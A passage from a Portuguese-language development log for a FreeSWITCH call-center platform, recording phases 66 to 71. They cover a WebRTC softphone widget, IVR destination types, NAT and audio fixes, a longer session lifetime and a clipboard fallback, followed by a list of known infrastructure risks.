Rebuildado (`npm run build:widget`) e vendorizado em
|
||
`apps/frontend/public/handphone.js` (era um arquivo solto na raiz
|
||
do repo antes desta fase).
|
||
- [x] `PlatformSetting` (tabela chave-valor genérica, sem RLS — mesmo
|
||
padrão de Role/Permission) pra guardar o endereço WSS do proxy
|
||
OpenSIPS, configurável em `Platform > Infraestrutura > Softphone
|
||
WebRTC` (permissão `freeswitch.configure`, mesma família das
|
||
outras telas de infra).
|
||
- [x] `GET /agents/me/softphone-config` (novo, `agents-me.controller.ts`)
|
||
— credenciais SIP do PRÓPRIO ramal vinculado ao agente logado
|
||
(nunca um `extensionId` arbitrário) + o endereço do proxy. Sem
|
||
`@RequirePermission` (mesmo padrão dos outros endpoints de
|
||
`agents/me`) — é o próprio agente pegando a própria senha, não uma
|
||
ação administrativa tipo `POST /extensions/:id/reveal-password`
|
||
(que exige `extensions.manage`, permissão que um agente comum
|
||
nunca tem). Cada acesso fica no audit log.
|
||
- [x] `SoftphoneWidget` (novo componente client, ao lado do
|
||
`AgentStatusWidget` na topbar do tenant) injeta um `<script
|
||
src="/handphone.js" data-sip-*>` sob demanda (só quando
|
||
`hasExtension`, uma vez por carregamento de página — nunca no
|
||
layout server-side, pra não decifrar a senha nem gravar audit log
|
||
a cada navegação). O widget se autoconecta sozinho via WebRTC
|
||
independente do estado de ACD (Disponível/Pausa/Offline) — mesmo
|
||
tipo de registro SIP que um telefone físico faria.
|
||
- [x] Testado ponta a ponta com Playwright, tenant/agente/ramal reais
|
||
criados na hora: tela de config do Super Admin salva e recarrega
|
||
certo; script do softphone injetado na topbar com
|
||
`sip-user`/`sip-domain`/`sip-server` corretos e a senha presente
|
||
(não vazia) assim que o agente com ramal vinculado abre `/app`.
|
||
|
||
## PHASE 67 — Dropdown de destino (fila/outro IVR) numa opção de IVR
|
||
(pedido do usuário: "dentro do IVR tem que dar a opção de eu colocar como
|
||
destino não apenas os ramais mas tb as filas e outra IVR, como feito na
|
||
rota de entrada")
|
||
- [x] Mesmo gap que existia em Rotas de Entrada até a PHASE 62:
|
||
`IvrMenuOption` só tinha `destinationNumber` (sempre interpretado
|
||
como ramal), sem tipo nenhum. Novo enum próprio
|
||
`IvrOptionDestinationType` (EXTENSION/QUEUE/IVR) — SEM
|
||
`CALL_GROUP` de propósito: diferente de `InboundRoute` (resolvido
|
||
por chamada, sempre fresco), o dialplan de um IVR é compilado UMA
|
||
VEZ ao salvar o menu — "quem está no grupo agora" ficaria
|
||
desatualizado até a próxima edição, comportamento silenciosamente
|
||
stale que ninguém pediu.
|
||
- [x] `buildIvrDialplanExtensions` (packages/telephony) — cada branch de
|
||
dígito decide a action pelo `destinationType`, mesmo padrão de
|
||
`buildInboundRouteXml`: EXTENSION continua `bridge` direto;
|
||
QUEUE vira `answer` + `callcenter`; IVR vira `transfer` pro
|
||
`IVR_ENTRY_DESTINATION` do contexto do menu alvo — reaproveita a
|
||
MESMA entrada que uma `InboundRoute` usa pra entrar naquele menu.
|
||
- [x] "Outro IVR" cria um grafo entre menus que nunca existia antes (uma
|
||
`InboundRoute` não é ela mesma um menu, nunca podia formar ciclo).
|
||
`assertNoIvrCycle` (novo, `ivr-menus.controller.ts`) monta o grafo
|
||
com TODOS os menus do tenant antes de compilar e rejeita
|
||
(409) qualquer combinação que criaria um ciclo — A→B→A ou até
|
||
A→A — checado tanto em `create` quanto `update`.
|
||
- [x] Frontend: os dois editores de IVR (form clássico `ivr-view.tsx` e
|
||
o editor visual `ivr-flow-editor.tsx`, PHASE 60/61) ganharam o
|
||
mesmo dropdown "Tipo" + "Destino" condicional já usado em Rotas de
|
||
Entrada — precisou buscar `queues` na `page.tsx` do IVR (só
|
||
`extensions` era buscado antes) e passar a lista de OUTROS menus
|
||
(excluindo o próprio, de propósito, pra reduzir a chance de
|
||
self-reference direto na UI — o backend segue sendo quem
|
||
garante isso de verdade).
|
||
- [x] Testado ponta a ponta com Playwright, tenant/fila/2 menus de IVR
|
||
reais criados na hora: Menu A com opção tipo Fila (aponta pra
|
||
"Fila QA"), Menu B com opção tipo Outro IVR (aponta pro Menu A) —
|
||
os dois persistiram com o tipo certo, sobrevivendo a um reload
|
||
completo da página.
|
||
|
||
## PHASE 68 — Ramal registrado mas chamada não completava / sem áudio
|
||
(reportado pelo usuário testando com 2 telefones IP reais, 1502 e 1503)
|
||
- [x] **Achado 1 (chamada não completava, 503 instantâneo)**: os dois
|
||
ramais registravam com o Contact apontando pro MESMO IP público
|
||
compartilhado desta rede (esta VM nunca tem IP público próprio —
|
||
é sempre RFC1918 atrás do NAT do escritório). Ao originar uma
|
||
chamada, o FreeSWITCH tentava mandar o INVITE de volta pra esse
|
||
IP público — hairpin NAT clássico, o roteador do escritório não
|
||
sabe refletir esse tráfego de volta pra dentro. Corrigido com
|
||
`NDLB-received-in-nat-reg-contact` (Dockerfile) — o Contact salvo
|
||
passa a ser o IP/porta REALMENTE observados no pacote (a rede
|
||
interna), não o que o telefone auto-relata.
|
||
- [x] `network_mode: host` no serviço `freeswitch` (pedido do usuário,
|
||
"sempre é problema NAT do Docker") — tira a camada de NAT/bridge
|
||
do Docker do meio. Quebra em cascata corrigida: FreeSWITCH sai da
|
||
rede bridge do compose, então (a) não resolve mais os OUTROS
|
||
containers pelo nome de serviço — `fs-config` virou
|
||
`http://127.0.0.1:8080/` (porta publicada só em loopback,
|
||
xml_curl.conf.xml) —, e (b) os workers que chamavam ESL via nome
|
||
`freeswitch` (fs-events/fs-config/predictive-dialer) passam a usar
|
||
`host.docker.internal` (+ `extra_hosts: host-gateway`, Docker
|
||
20.10+). Segurança do Event Socket deixa de depender de publicar
|
||
só em loopback (não existe mais essa camada) e passa a depender
|
||
inteiramente da ACL `b2bcall_internal` já configurada
|
||
(`apply-inbound-acl`) — confirmado que continua rejeitando
|
||
qualquer origem fora de loopback/rede do Docker.
|
||
- [x] **Achado 2 (chamada completava, mas sem áudio)**: com o registro
|
||
corrigido, a ligação passou a completar, mas sem RTP (confirmado
|
||
pelo usuário com `sngrep`). `local-network-acl="localnet.auto"`
|
||
(padrão vanilla) só cobre a subnet da PRÓPRIA interface do
|
||
FreeSWITCH — os ramais reais ficam em OUTRAS subnets do mesmo
|
||
escritório, então eram tratados como "de fora" e o SDP trocava o
|
||
RTP/SIP anunciado pelo IP público compartilhado de novo (mesmo
|
||
hairpin, agora na mídia). Corrigido com uma ACL própria
|
||
(`b2bcall_lan`, cobre todo RFC1918 — nunca alcançável de verdade
|
||
"de fora" nesta VM) referenciada em `local-network-acl`.
|
||
- [x] **Achado 3 (chamada completava e tinha áudio, mas morria sozinha
|
||
em exatos 32s)**: mesmo com áudio já corrigido, toda chamada
|
||
morria sozinha depois de exatos 32 segundos — o Timer H do
|
||
RFC 3261 (64×T1, prazo padrão de qualquer UAS esperando o ACK de
|
||
um 2xx). Só descoberto de verdade com captura de pacote real
|
||
(`tcpdump`, instalado nesta sessão — não estava no host): o
|
||
`200 OK` que o FreeSWITCH manda pro ramal que RECEBEU a chamada
|
||
ainda tinha `Contact: sip:...@191.240.175.55:5060` (o IP público
|
||
de novo, MESMO com o SDP já mostrando o IP certo) — o telefone
|
||
nunca manda o ACK de volta (não tem como chegar por ali), o
|
||
FreeSWITCH retransmite o 200 OK sozinho (0.5s/1s/2s/4s/4s...) até
|
||
desistir e derrubar a chamada. `apply-nat-acl`/`local-network-acl`
|
||
(achados 1/2) não bastam aqui — são checagens independentes, e
|
||
trocar `apply-nat-acl` pra escopo `b2bcall_lan` (testado) não
|
||
mudou nada nesse Contact. O fix de verdade: `ext-rtp-ip`/
|
||
`ext-sip-ip` (STUN, resolvem pro IP público) REMOVIDOS do profile
|
||
`internal` (Dockerfile) — sem endereço "externo" nenhum
|
||
configurado, o FreeSWITCH não tem mais como escolher errado,
|
||
cai sempre em `rtp-ip`/`sip-ip` (10.10.32.138). Único profile
|
||
afetado; `external` (reservado pra um trunk PSTN real, nunca
|
||
usado ainda) mantém os dois params intactos.
|
||
- [x] Diagnosticado ao vivo lendo `/var/log/freeswitch/freeswitch.log`
|
||
em tempo real durante as tentativas de chamada do usuário (nunca
|
||
supondo causa sem ver o log) e, pro achado 3, uma captura de
|
||
pacote real via `tcpdump` — cada achado confirmado por evidência
|
||
exata (`NORMAL_TEMPORARY_FAILURE`/503 instantâneo pro achado 1;
|
||
endereço do `c=`/RTP-IP pro achado 2; cabeçalho `Contact:` do
|
||
`200 OK` capturado byte a byte pro achado 3). Confirmado resolvido
|
||
pelo usuário com chamadas reais nos dois sentidos (1502→1503 e
|
||
1503→1502), áudio bidirecional e chamada sobrevivendo bem além
|
||
dos 32s que travavam toda tentativa antes do achado 3.
|
||
|
||
## PHASE 69 — Sessão web expirando cedo demais pra call center (pedido do
|
||
usuário: "no minimo 12 hs")
|
||
- [x] Access token JWT (`packages/auth/src/tokens.ts`) e o teto absoluto do
|
||
cookie de sessão (duplicado em `login`/`post-login`/`select-tenant`
|
||
route handlers + `middleware.ts`) subiram de 15min/8h pra 12h. O
|
||
refresh silencioso do middleware (decodifica o `exp` do JWT, renova
|
||
via `/auth/refresh` uns 60s antes de vencer) continua existindo e
|
||
deslizando a sessão a cada requisição — 12h passa a ser só o teto de
|
||
segurança pra quando esse refresh falhar (aba parada, logout em
|
||
outro lugar), não o intervalo real de renovação.
|
||
- [x] Verificado com login real: token decodificado mostra exp−iat = 12h
|
||
exatas.
|
||
|
||
## PHASE 70 — Softphone WebRTC não registrava, ficava cinza pra sempre
|
||
(usuário configurou o proxy QA de verdade e testou o ramal 1501 do tenant
|
||
teste01 — "so fica cinza")
|
||
- [x] Confirmado primeiro que a config em si estava certa
|
||
(`GET /platform/webrtc-proxy` devolvia a URL nova) e que a
|
||
infraestrutura de rede/proxy funcionava — DNS resolve, TCP conecta,
|
||
certificado TLS válido, e um handshake WebSocket manual (`ws`, com
|
||
header `Origin`) completa normal. Um REGISTER SIP cru (autenticação
|
||
digest manual) através do proxy chegou até o FreeSWITCH de verdade
|
||
(`User-Agent: FreeSWITCH-mod_sofia` na resposta) e voltou 200 OK —
|
||
credenciais do ramal 1501 corretas, proxy e FreeSWITCH 100% ok.
|
||
- [x] **Achado real, bug no próprio código-fonte do widget** (não
|
||
descoberto antes porque a verificação da PHASE 66 só conferia se o
|
||
`<script data-sip-*>` recebia os atributos certos, nunca deixava o
|
||
widget tentar registrar de verdade contra um proxy ao vivo):
|
||
`widgetStorage.mergeConfig` (`src/widget/widgetStorage.js`) só
|
||
calculava o campo `aor` (`sip:user@domain`) no branch de config
|
||
SALVA MANUALMENTE (localStorage) — no branch usado quando a config
|
||
vem de `data-sip-*`/`window.HandphoneConfig` (nosso caso, sempre),
|
||
`aor` nunca era calculado. `connect()` (`useSip.js`) quebra em
|
||
`cfg.aor.startsWith(...)` com `aor` undefined — erro só visível no
|
||
console do navegador (`[Widget] Connect failed: TypeError...`),
|
||
nunca pro usuário, que só via o botão preso em cinza (desconectado)
|
||
pra sempre, sem nenhuma tentativa de conexão visível.
|
||
- [x] Fix: `mergeConfig` agora calcula `aor` a partir de
|
||
`externalConfig.username`/`externalConfig.domain` também no branch
|
||
sem config salva. Patch na mesma cópia local do
|
||
`git.falehandix.com.br/Handix/handphone-2.0` já usada na PHASE 66
|
||
(nunca enviado pro repo externo do usuário) — rebuildado e
|
||
revendorizado em `apps/frontend/public/handphone.js`.
|
||
- [x] Testado ponta a ponta com Playwright + navegador real, fora do app
|
||
(uma página HTML isolada com os `data-sip-*` do ramal 1501 de
|
||
verdade, sem depender do login do tenant): REGISTER completa com
|
||
200 OK observado no tráfego WebSocket real, botão do widget muda de
|
||
cinza pra verde (conectado).
|
||
|
||
## PHASE 71 — Botão de copiar senha SIP não fazia nada (pedido do
|
||
usuário: "o botão de copiar a senha dentro do cadastro do ramal está com
|
||
problema")
|
||
- [x] **Achado real**: `navigator.clipboard` só existe em "contexto
|
||
seguro" (HTTPS ou `localhost`) — este ambiente é HTTP puro,
|
||
acessado pelo IP da VM (nunca localhost pro usuário de verdade).
|
||
`SecretReveal` (usado tanto na criação de ramal quanto em "ver
|
||
senha atual") chamava `navigator.clipboard.writeText` direto, sem
|
||
try/catch — em contexto inseguro isso derruba/rejeita sem erro
|
||
visível nenhum, o botão simplesmente não fazia nada. Confirmado
|
||
com Playwright acessando `http://10.10.32.138:3001` (IP real, não
|
||
localhost): `navigator.clipboard.writeText` de fato `undefined`
|
||
nesse contexto — reproduz o sintoma exato.
|
||
- [x] Fix: fallback pra `document.execCommand("copy")` (textarea
|
||
temporário fora da tela) quando a Clipboard API moderna não existe
|
||
ou falha — funciona em qualquer contexto, inclusive HTTP. Se as
|
||
duas formas falharem, mostra aviso pra selecionar e copiar
|
||
manualmente (Ctrl+C) em vez de falhar em silêncio — o campo já é
|
||
`select-all`.
|
||
- [x] Testado ponta a ponta com Playwright acessando o IP real da VM
|
||
(não localhost, pra genuinamente cair no contexto inseguro): os
|
||
dois fluxos (senha mostrada na criação do ramal, e "ver senha
|
||
atual" de um ramal já existente) mostram o ícone verde de sucesso
|
||
via o fallback.
|
||
|
||
---
|
||
|
||
## Riscos conhecidos
|
||
- **RAM da VM (1.9GB total)**: medido com Postgres+Redis+FreeSWITCH rodando juntos —
|
||
~91MB no total (Postgres 37MB, Redis 10MB, FreeSWITCH 44MB), bem tranquilo. O risco
|
||
real ainda não testado é o build/runtime do Next.js (frontend) e vários workers Node
|
||
simultâneos — reavaliar quando chegarmos lá.
|
||
- **Disco (26GB livre)**: build do FreeSWITCH + imagens Docker + gravações vão consumir
|
||
espaço rápido. Monitorar com `df -h`.
|
||
- **RAM da VM aumentada pra 8GB em 2026-08-29** — resolve a preocupação acima, mas
|
||
ainda não tem swap generoso nem monitoramento de pico durante um build de frontend +
|
||
todos os workers rodando junto; reavaliar se o Next.js dev server crescer muito.
|
||
- ~~`apps/api` e `apps/frontend` rodam direto no host, sem supervisor, não
|
||
sobrevivem a reboot~~ **RESOLVIDO na PHASE 38** (2026-08-30): os dois agora são
|
||
services systemd (`b2bcall-api.service`/`b2bcall-frontend.service`,
|
||
`infrastructure/systemd/`, `enabled`) — sobrevivem a reboot como os containers
|
||
Docker já sobreviviam. `API_PORT=3000` (`.env`) e `PORT=3001` (`Environment=` da
|
||
unit do frontend, não `.env.local` — não funciona lá, o CLI do Next.js decide a
|
||
porta antes de aplicar esse arquivo) fixam as duas portas, então a ordem de start
|
||
não importa mais (achado real: sem isso, os dois competiam pela 3000 por padrão, e
|
||
quem perdesse crashava com `EADDRINUSE` em vez de cair pra 3001). Detalhes e
|
||
comandos úteis (`systemctl status`/`restart`, `journalctl -f`) em
|
||
`infrastructure/systemd/README.md`. Continuam rodando em modo dev (`pnpm dev`), não
|
||
build de produção — decisão deliberada, ver o README.
|